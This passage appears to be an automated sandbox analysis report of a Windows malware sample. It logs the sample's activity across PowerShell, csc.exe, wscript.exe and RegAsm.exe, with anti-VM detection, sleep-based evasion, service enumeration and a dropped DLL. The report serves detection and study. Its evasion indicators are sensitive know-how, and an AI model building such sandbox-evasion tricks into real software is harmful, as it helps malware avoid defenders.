Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040F7E2 Sleep,ExitProcess,

11_2_0040F7E2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

11_2_0041A7D9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7903	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1761	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1673	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3325	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6444	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4619	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4848	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1774	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6432	Thread sleep count: 7903 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2636	Thread sleep count: 1761 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 984	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep count: 3325 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 6444 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5572	Thread sleep count: 259 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5572	Thread sleep time: -129500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5712	Thread sleep count: 4619 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5712	Thread sleep time: -13857000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5712	Thread sleep count: 4848 > 30	Jump to behavior
